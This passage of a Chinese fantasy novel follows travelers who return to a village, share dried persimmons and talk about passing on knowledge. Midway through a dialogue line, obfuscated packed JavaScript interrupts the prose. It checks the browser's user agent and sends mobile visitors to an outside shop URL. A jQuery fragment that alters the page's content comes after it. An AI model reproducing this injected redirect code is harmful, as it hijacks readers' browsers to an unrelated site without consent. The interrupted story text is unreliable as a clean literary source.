流栖灯勒住穗子。“柿子。”
老人转过身看到路上停着四个骑马的人，手里还拿着一颗没削完的柿子。刀子卡在柿子皮和果肉之间，她的手停在半空。
“晒柿饼。”老人把刀子从柿子皮里拔-出-来继续削。“削了皮，串起来，晾半个月。等表面起了白霜，就是柿饼了。”她的手很稳，刀子在柿子表面转着圈，皮一圈一圈落下来长长的一条不断。削完一个，她把光溜溜的柿子串进绳子里，和那些已经晾了不知多久的柿子排在一起。
“今年的柿子甜吗。”格蕾塔骑在红栎背上问。
老人从屋檐下取下一个晾了几天的柿子，掰成四块递给她们。柿子表面已经起了一层薄薄的糖霜，捏在手里软软的，咬一口，甜得粘牙。流栖灯把柿子肉从皮里嘬出来，嘬得滋滋响。艾莉西亚吃得慢，小口小口咬，手指上沾了糖霜，她低头把手指舔干净了。
“甜。”流栖灯把柿子皮扔进路边的草丛里。“比鸡蛋甜。”
老人笑了一声。笑声很脆，不像上了年纪的人。“鸡蛋是咸的，柿子是甜的。小姑娘舌头没问题。”
流栖灯从穗子背上翻下来，走到屋檐下看那些串起来的柿子。一排一排，从屋檐这头挂到那头，橙红色在灰白色的天光里暖得扎眼。每一颗柿子都削得干干净净，皮去得均匀，串在绳子上间隔一致。
“您一个人晒这么多。”
“一个人吃不了。晒好了，赶集的时候拿去卖。换盐，换布。”老人把削好的柿子又串上去一个。“往年晒得更多。今年柿子树结得少，北边吹过来的灰落在花上，坐不住果。”
流栖灯看着屋檐下那排橙红色的柿子。“明年会多吗。”
老人把刀子插-进下一颗柿子的皮里。“明年就知道了。”
流栖灯从鞍袋里摸出炭条，在白麻布上画屋檐下的柿子。一排橙红色的小圆点，绳子穿过去，挂在檐下。
继续上路。穗子的蹄声在官道上响着，流栖灯的嘴唇上还粘着柿子的甜。她把舌头伸出来舔了舔嘴唇，甜味已经淡了，但还在。
傍晚她们到了石桥村。
村口的石桥还是那座石桥，桥下的河床还是几乎干涸的，但河中心那缕细水比来的时候粗了一点，只是一点。桥头柳树下坐着的老人还是那几个，看到四匹马走过来抬起头打量了几眼，目光在流栖灯的黑头发上停了一下然后移开了。
梅站在驿站门口，手里拿着一把扫帚。看到她们，扫帚靠在墙边，手在围裙上擦了两把。
“回来了。”她说。
驿站厅堂里的桌上已经摆好了碗筷和茶壶。灶房里的火光从门缝透出来，炖菜的气味在厅堂里暖洋洋地散着。梅的母亲从灶房端出一锅萝卜炖骨头，锅底垫着一块木板放在桌子中-央。萝卜炖得透了，骨头汤熬成了奶白色。
“绿溪镇的水好了。”梅的母亲盛汤，一勺舀起来萝卜和骨头各半。“贝丝托人带了信来。说封印修好了，污染在退。”她把汤碗放在玛丽玛丽面前。“你们做的。”
玛丽玛丽端起碗喝了一口汤。萝卜炖得烂，舌头一压就化了。骨头上的肉炖得脱了骨，筷子一夹就下来。她把肉夹进嘴里嚼了，咽下去。
“不止我们。封印是上古的法师建的，路是她们修的，水-罐是她们埋的，水符号是她们刻的。几百年里，每一拨走到封印的人，不管有没有走到，都留下了东西。”她把碗放下。“我们只是最近的一拨。”
梅的母亲又盛了一碗汤递给流栖灯。“最近的一拨也好，最远的一拨也好。事情总得有人做。做了就是做了。”
流栖灯接过汤喝了一口。萝卜的甜和骨头的鲜混在一起，从喉咙暖到胃里。她从口袋里拿出白麻布摊在桌上。布上画了烧荒的烟，画了红栎跟落叶打招呼，画了屋檐下的柿子。梅凑过来看。
“这是老桑妮家的小孙女。”流栖灯指着布上那个探出墙边的小人。“手上的疹子消了大半。”
梅看着那个小人，手指在布面上轻轻碰了碰。“我母亲去绿溪镇代驿站的时候见过她。说她趴在窗口跟路过的人招手。招完了就把手缩回去，过一会儿又伸出来招。”
“她是在等人跟她招回去。”流栖灯把布翻过来，背面画着哨站的朵拉靠着灶台。“这是朵拉。哨站灶房的。烧最后一锅粥的时候站不起来了，背靠着灶台坐着，让母亲走。”
梅看着那个靠着灶台的人形看了很久。灶房里的火光映在她脸上，一晃一晃的。
“后来呢。”
“后来她母亲走到绿溪镇，被贝丝收留了。我们在回来的路上遇到她，告诉她朵拉好了。她就从绿溪镇往回走，走回哨站去找女儿。”
梅点了点头，把布推回流栖灯面前。“你这块布，画满了人。”
流栖灯低头看了看。白麻布的正反两面，画了绿溪镇的槐树和铁匠铺，画了哨站的井台和空水桶，画了荒原上的岩羊和水符号，画了朵拉和维奥拉，画了海瑟和贝丝，画了老桑妮和她孙女，画了烧荒的人和晒柿子的老人。都是路上遇到的人。
“还没画满。”她把布叠好放进口袋。“明天往南走，还会遇到新的人。”
夜里流栖灯和艾莉西亚住一间房。窗户朝南，能看到村口的石桥和桥下那缕细细的水。月光照在水面上，细水变成一条银色的线，从桥洞底下穿过去往南流。
流栖灯趴在窗台上看那条银线。艾莉西亚坐在床上，法术书摊在膝盖上没有看。油灯的火苗在玻璃罩里静静地燃着，把两个人投在墙上的影子晃得微微颤动。
“今天那个晒柿子的老人。”艾莉西亚把书翻过一页，其实没有在看。“她说今年的柿子结得少，是因为北边吹过来的灰。但她还在晒。削皮，串绳，晾半个月。拿到集上去卖。”
“嗯。”
“她不知道明年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568647|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灰还会不会来。但她还在晒。”
流栖灯从窗台上转过身，背靠着窗框。“绿溪镇的人也不知道井水还会不会变回去。海瑟还在记。铁匠回来了，把门板上的‘往南’刨掉了。老桑妮的鸡又开始下蛋了。”
“所以呢。”
“所以——”流栖灯把手揣进口袋里，摸到那块叠得整整齐齐的白麻布。“所以走到哪里，就把那里的人画下来。灰来了她们在活，灰走了她们也在活。明年柿子结得多结得少，她们都会晒柿饼。”
艾莉西亚把法术书合上了。油灯的火苗在玻璃罩里跳了一下，然后稳住。
“我师母说过一句话。她说，法术是前人传下来的，你只是暂时保管。有一天你要把它传下去。”她把书放在床头，躺下来拉过被子。“我以前觉得，这句话的意思是，要把法术教给下一个有天赋的人。现在觉得，不只是法术。”
“还有什么。”
“还有柿子怎么晒。井水怎么测。水符号怎么刻。路怎么修。”艾莉西亚闭上眼睛。“还有，在荒原上怎么从石头缝里找水。”
流栖灯从窗台上下来，走到自己床边躺下。窗外的月光照进来，在地板上画出一块银色的长方形。她看着那块月光，想起格蕾塔说的盐碱地上的星星——没有框的星星。月光也没有框。
“明天我们往南走。”她把被子拉到下巴。“走到哪里，就把什么传下去。”
第二天早晨出发前，梅往她们的鞍袋里塞了一包柿饼。是梅自己晒的。石桥村也有柿子树，梅的母亲在屋后种了两棵。“今年结得不多，只晒了一小包。”梅把柿饼用油纸包好塞进格蕾塔的鞍袋里。“路上吃。甜的东西，走路的时候吃，脚不沉。”
流栖灯骑在穗子背上，把梅给的柿饼掏出一个咬了一口。石桥村的柿饼和晒柿老人给的不一样——梅的柿饼晒得干一些，糖霜厚一些，咬下去有嚼劲，甜味是一层一层化开的。
“梅晒的柿饼比较硬。”她把嚼了一半的柿饼举起来看。“但是甜得久。”
艾莉西亚从她手里掰了一块放进嘴里嚼了嚼。“因为晒得干。水分少，糖分浓。”她又掰了一块。
“你自己不是有吗。”流栖灯把柿饼往怀里护。
“我的留着下午吃。”
流栖灯把柿饼掰成两半分给她一半。两个人骑在马上，隔着一臂的距离，各自嚼着柿饼。穗子和长腿的蹄声在官道上响着，柿饼的甜味在嘴里慢慢化开。
从石桥村往南，官道两边的树木越来越密，这是野林子，枫树和栎树和椴树混在一起，树冠挨着树冠，把天遮得零零碎碎。阳光从叶子的缝隙里漏下来，在地上落了一片一片的光斑。光斑是金黄-色的，因为树叶子正在转黄。来的时候这些树叶子是灰绿色的，覆着从北边吹来的粉末。现在粉末被几场秋风吹薄了，叶子本来的颜色透出来。
流栖灯发现林子里有声音。